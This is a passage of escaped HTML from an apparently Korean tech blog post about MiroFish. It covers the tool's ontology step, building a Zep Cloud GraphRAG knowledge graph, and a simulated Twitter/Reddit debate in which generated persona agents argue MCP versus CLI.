&lt;li&gt;&lt;b&gt;엔티티 타입 (10개)&lt;/b&gt;: SoftwareEngineer, EnterpriseArchitect, StartupCTO, SecurityExpert, TechBlogger, OpenSourceContributor, TechCompany, TechMedia, Person, Organization&lt;/li&gt;
&lt;li&gt;&lt;b&gt;관계 타입 (8개)&lt;/b&gt;: WORKS_FOR, PUBLISHES_ON, CRITICIZES, SUPPORTS, RESPONDS_TO, COMPETES_WITH, PROVIDES_MCP_SUPPORT, AFFILIATED_WITH&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시뮬레이션 요구사항에서 정의한 6가지 페르소나(엔터프라이즈 아키텍트, 스타트업 CTO 등)가 Developer, TechnicalManager, Researcher 같은 엔티티 타입으로 자동 매핑된다. 시드에 &quot;Perplexity CTO&quot;라고 써두면 LLM이 TechnicalManager 타입 엔티티로 알아서 잡아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;이 단계가 왜 중요한가 : GIGO 원칙&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;Garbage In, Garbage Out.&lt;/b&gt; 온톨로지가 부실하면 이후 모든 단계가 엉뚱한 방향으로 흘러간다. 시드 데이터에 &quot;MCP&quot;, &quot;CLI&quot;, &quot;Eric Holmes&quot;, &quot;Charles Chen&quot;, &quot;GeekNews 개발자&quot; 같은 핵심 개체가 명확히 등장해야 LLM이 정확한 엔티티를 뽑을 수 있다. 시드를 3KB로 집중한 이유가 여기에 있다 &amp;mdash; 37KB를 넣으면 엔티티가 너무 많아져서 초점이 흐려진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 2. Step 2: 지식 그래프 ========== --&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;2. Step 2: 지식 그래프 구축 &amp;mdash; GraphRAG&lt;/h2&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;온톨로지(뼈대)가 만들어졌으면, 이제 실제 데이터로 &lt;b&gt;지식 그래프&lt;/b&gt;를 채울 차례다. MiroFish는 이 작업에 &lt;b&gt;Zep Cloud&lt;/b&gt;를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ex) GraphRAG 구축 진행중인 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3244&quot; data-origin-height=&quot;1930&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IZtON/dJMcaaLpu4K/8rPZ4iQuU1d8kFTpCR5MB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IZtON/dJMcaaLpu4K/8rPZ4iQuU1d8kFTpCR5MB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IZtON/dJMcaaLpu4K/8rPZ4iQuU1d8kFTpCR5MB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIZtON%2FdJMcaaLpu4K%2F8rPZ4iQuU1d8kFTpCR5MB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3244&quot; height=&quot;1930&quot; data-origin-width=&quot;3244&quot; data-origin-height=&quot;1930&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;Zep Cloud가 하는 일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Zep Cloud는 GraphRAG(Graph Retrieval-Augmented Generation) 서비스다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시드 데이터를 배치 단위로 나눠서 Zep에 전송하면, Zep이 노드(개체)와 엣지(관계)로 이루어진 지식 그래프를 만든다. 에이전트들은 이후 시뮬레이션에서 이 그래프를 참조해서 발언한다 &amp;mdash; 단순 프롬프트 주입이 아니라, 구조화된 지식 위에서 추론하는 셈이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;노드/엣지 수치와 의미&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;524&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sd5C9/dJMcad2nwQL/YAoeKbzKv23ZlLDkRE7G01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sd5C9/dJMcad2nwQL/YAoeKbzKv23ZlLDkRE7G01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sd5C9/dJMcad2nwQL/YAoeKbzKv23ZlLDkRE7G01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsd5C9%2FdJMcad2nwQL%2FYAoeKbzKv23ZlLDkRE7G01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1554&quot; height=&quot;524&quot; data-origin-width=&quot;1554&quot; data-origin-height=&quot;524&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0fff0; padding: 15px 20px; border-radius: 8px; border: 1px solid #98d98e; margin: 15px 0;&quot;&gt;&lt;b&gt;지식 그래프 구축 결과&lt;/b&gt;&lt;br /&gt;&lt;b&gt;노드:&lt;/b&gt; 121개 | &lt;b&gt;엣지:&lt;/b&gt; 202개 | &lt;b&gt;스키마 타입:&lt;/b&gt; 10개&lt;br /&gt;&lt;b&gt;비용:&lt;/b&gt; $0 (Zep Cloud free tier)&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;노드 121개는 시드에 등장하는 주요 개체(MCP, CLI, Anthropic, Perplexity, Eric Holmes, GeekNews, tptacek, Supabase, Redis, PostgreSQL, grep, awk 등)다. 엣지 202개는 이들 간의 관계(&quot;Perplexity CTO가 MCP를 포기했다&quot;, &quot;홈즈가 CLI를 지지한다&quot; 등 구체적 주장)로 구성된다. 그래프 시각화에서 &lt;b&gt;MCP&lt;/b&gt;가 중앙 허브 노드로 자리잡고, 찬성/반대 진영 인물들이 주변에 연결된 구조가 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;그래프 시각화에서 볼 것&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;MiroFish UI에서 그래프를 시각화하면, &quot;MCP&quot;와 &quot;CLI&quot;가 각각 허브 노드로 나타나고 주변에 관련 엔티티가 연결되어 있다. 이 구조가 곧 시뮬레이션의 토론 축이 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3208&quot; data-origin-height=&quot;1896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpbmqE/dJMcafsoUtS/JObMBAJjRN1yzCi7KAP5KK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpbmqE/dJMcafsoUtS/JObMBAJjRN1yzCi7KAP5KK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpbmqE/dJMcafsoUtS/JObMBAJjRN1yzCi7KAP5KK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpbmqE%2FdJMcafsoUtS%2FJObMBAJjRN1yzCi7KAP5KK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3208&quot; height=&quot;1896&quot; data-origin-width=&quot;3208&quot; data-origin-height=&quot;1896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ex) 환경 설정으로 이동 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OF0mM/dJMcaiJoLKS/2E0a1EWKtBvYL82y2jvK9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OF0mM/dJMcaiJoLKS/2E0a1EWKtBvYL82y2jvK9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OF0mM/dJMcaiJoLKS/2E0a1EWKtBvYL82y2jvK9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOF0mM%2FdJMcaiJoLKS%2F2E0a1EWKtBvYL82y2jvK9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1556&quot; height=&quot;404&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;- 시뮬레이션 인스턴스 초기화가 되며&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;646&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KqvWM/dJMb99Z3V48/diyCiuWZNPiLxnuDQcM5J1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KqvWM/dJMb99Z3V48/diyCiuWZNPiLxnuDQcM5J1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KqvWM/dJMb99Z3V48/diyCiuWZNPiLxnuDQcM5J1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKqvWM%2FdJMb99Z3V48%2FdiyCiuWZNPiLxnuDQcM5J1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1550&quot; height=&quot;646&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;646&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;- &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;에이전트 페르소나 생성을 시작한다. 생성 완료되면 다음섹션으로 넘어 가보자.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;1226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6ZRst/dJMcaaxSSFI/A4wnBIZiHgYhEK0QhLhUnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6ZRst/dJMcaaxSSFI/A4wnBIZiHgYhEK0QhLhUnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6ZRst/dJMcaaxSSFI/A4wnBIZiHgYhEK0QhLhUnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6ZRst%2FdJMcaaxSSFI%2FA4wnBIZiHgYhEK0QhLhUnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1558&quot; height=&quot;1226&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;1226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 3. Step 3: 시뮬레이션 실행 ========== --&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;3. Step 3: 시뮬레이션 실행 &amp;mdash; 가상 토론장&lt;/h2&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;여기가 MiroFish의 핵심이다. 온톨로지와 지식 그래프를 바탕으로 &lt;b&gt;가상 전문가 에이전트&lt;/b&gt;를 만들고, 이들이 Twitter와 Reddit에서 토론을 벌인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 프로필 미리보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;MiroFish가 시드 데이터에서 자동 생성한 38명의 에이전트 중 핵심 4명을 보자:&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2272&quot; data-origin-height=&quot;1180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX6QHR/dJMcajuMKzl/SdBTSXWj5ys4MkLk9IkQI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX6QHR/dJMcajuMKzl/SdBTSXWj5ys4MkLk9IkQI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX6QHR/dJMcajuMKzl/SdBTSXWj5ys4MkLk9IkQI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX6QHR%2FdJMcajuMKzl%2FSdBTSXWj5ys4MkLk9IkQI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2272&quot; height=&quot;1180&quot; data-origin-width=&quot;2272&quot; data-origin-height=&quot;1180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border: 1px solid #ffcc02; margin: 15px 0;&quot;&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #f8d7da; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;CLI 옹호 &amp;middot; Person&lt;/span&gt; &lt;b&gt;holmes_786&lt;/b&gt; (@Holmes)&lt;br /&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&quot;LLM은 이미 CLI를 매우 능숙하게 사용한다. Charles Chen의 반박에도 핵심 논지는 변하지 않는다. 활동도 75%, 게시 0.25/시간, 응답 지연 2-12분.&quot;&lt;br /&gt;ex)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1144&quot; data-origin-height=&quot;1502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2JgNx/dJMcacoVk2R/pX2wtczKvone6tGuFsf9W0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2JgNx/dJMcacoVk2R/pX2wtczKvone6tGuFsf9W0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2JgNx/dJMcacoVk2R/pX2wtczKvone6tGuFsf9W0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2JgNx%2FdJMcacoVk2R%2FpX2wtczKvone6tGuFsf9W0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;613&quot; height=&quot;805&quot; data-origin-width=&quot;1144&quot; data-origin-height=&quot;1502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #fff3cd; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;하이브리드 &amp;middot; TechCompany&lt;/span&gt; &lt;b&gt;cursor_552&lt;/b&gt; (@Cursor)&lt;br /&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&quot;Cursor의 MCP 클라이언트는 MCP Prompts와 Resources를 제대로 지원하지 않는다. Vercel 사례처럼 배포는 CLI, 에러 진단은 MCP로 나뉜다는 게 현실.&quot;&lt;br /&gt;ex)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;1354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EYaBv/dJMb996NYqJ/8Nl6Tpu2OyfDu3OZ0u8AAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EYaBv/dJMb996NYqJ/8Nl6Tpu2OyfDu3OZ0u8AAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EYaBv/dJMb996NYqJ/8Nl6Tpu2OyfDu3OZ0u8AAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEYaBv%2FdJMb996NYqJ%2F8Nl6Tpu2OyfDu3OZ0u8AAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;659&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;1354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee; margin-bottom: 10px;&quot;&gt;&lt;span style=&quot;background: #e2e3e5; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;관찰자 &amp;middot; TechMedia&lt;/span&gt; &lt;b&gt;itter_504&lt;/b&gt; (@itter)&lt;br /&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&quot;개인 개발자 vs 엔터프라이즈 엔지니어의 관점 차이를 중계. Eric Holmes의 'MCP vs CLI' 논쟁을 번역&amp;middot;요약하여 한국 개발자 커뮤니티에 소개.&quot;&lt;br /&gt;ex)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;1406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bB1Xr1/dJMcahX3RGt/jendJYPB7UgVeVddw9ktx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bB1Xr1/dJMcahX3RGt/jendJYPB7UgVeVddw9ktx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bB1Xr1/dJMcahX3RGt/jendJYPB7UgVeVddw9ktx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbB1Xr1%2FdJMcahX3RGt%2FjendJYPB7UgVeVddw9ktx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;696&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;1406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff; padding: 12px; border-radius: 6px; border: 1px solid #eee;&quot;&gt;&lt;span style=&quot;background: #d4edda; padding: 2px 8px; border-radius: 4px; font-size: 12px; font-weight: bold;&quot;&gt;MCP 옹호 &amp;middot; Person&lt;/span&gt; &lt;b&gt;hanje3765_320&lt;/b&gt; (@hanje3765)&lt;br /&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #666; font-size: 14px;&quot;&gt;&quot;LLM 지능이 높아지면서 MCP 필요성이 모호해진다는 주장에 반박. 엔터프라이즈에서 1,000개 분산 API 키를 10개로 줄이는 중앙화 인증은 CLI로 대체 불가.&quot;&lt;br /&gt;ex)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;1320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1W8gn/dJMcafFXjaV/pw75LkFTL2C2v4taIeNoE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1W8gn/dJMcafFXjaV/pw75LkFTL2C2v4taIeNoE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1W8gn/dJMcafFXjaV/pw75LkFTL2C2v4taIeNoE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1W8gn%2FdJMcafFXjaV%2Fpw75LkFTL2C2v4taIeNoE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;546&quot; height=&quot;634&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;1320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;나머지 34명도 각각 고유한 페르소나를 갖는다: jabber86_674(보안 전문가), charles_chen_439(AWS CLI 사례 제시), sonnet_531(MCP 표준화 옹호), 에이전트_개발자_978(제약으로서의 MCP 가치), tptacek, nvardakas, brainer, hulryung, 0xbadcafebee, develosopher, m00nlygreat, aws_cli, acek 등. 시드 데이터에서 언급된 커뮤니티 핸들과 조직을 MiroFish가 알아서 에이전트로 만들어낸 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;50라운드 설정 + 듀얼 플랫폼&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시뮬레이션 설정에서 라운드 수를 &lt;b&gt;50&lt;/b&gt;으로, 플랫폼을 &lt;b&gt;Twitter + Reddit 듀얼&lt;/b&gt;로 잡는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Twitter는 빠른 반응과 진영 대립 관찰에, Reddit은 깊은 기술 토론과 벤치마크 비교에 적합하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2278&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LKqiC/dJMcaaScmmq/VS5LowFpB0K4jh7L64d980/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LKqiC/dJMcaaScmmq/VS5LowFpB0K4jh7L64d980/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LKqiC/dJMcaaScmmq/VS5LowFpB0K4jh7L64d980/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLKqiC%2FdJMcaaScmmq%2FVS5LowFpB0K4jh7L64d980%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2278&quot; height=&quot;738&quot; data-origin-width=&quot;2278&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2230&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvgHzS/dJMcac3uUov/huf4JgqLtbgzzXG5UxXIlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvgHzS/dJMcac3uUov/huf4JgqLtbgzzXG5UxXIlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvgHzS/dJMcac3uUov/huf4JgqLtbgzzXG5UxXIlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvgHzS%2FdJMcac3uUov%2Fhuf4JgqLtbgzzXG5UxXIlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2230&quot; height=&quot;554&quot; data-origin-width=&quot;2230&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2204&quot; data-origin-height=&quot;478&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ChnbU/dJMcaf0edUu/KBqkHCTpz7cpS3sQtAFEKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ChnbU/dJMcaf0edUu/KBqkHCTpz7cpS3sQtAFEKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ChnbU/dJMcaf0edUu/KBqkHCTpz7cpS3sQtAFEKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FChnbU%2FdJMcaf0edUu%2FKBqkHCTpz7cpS3sQtAFEKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2204&quot; height=&quot;478&quot; 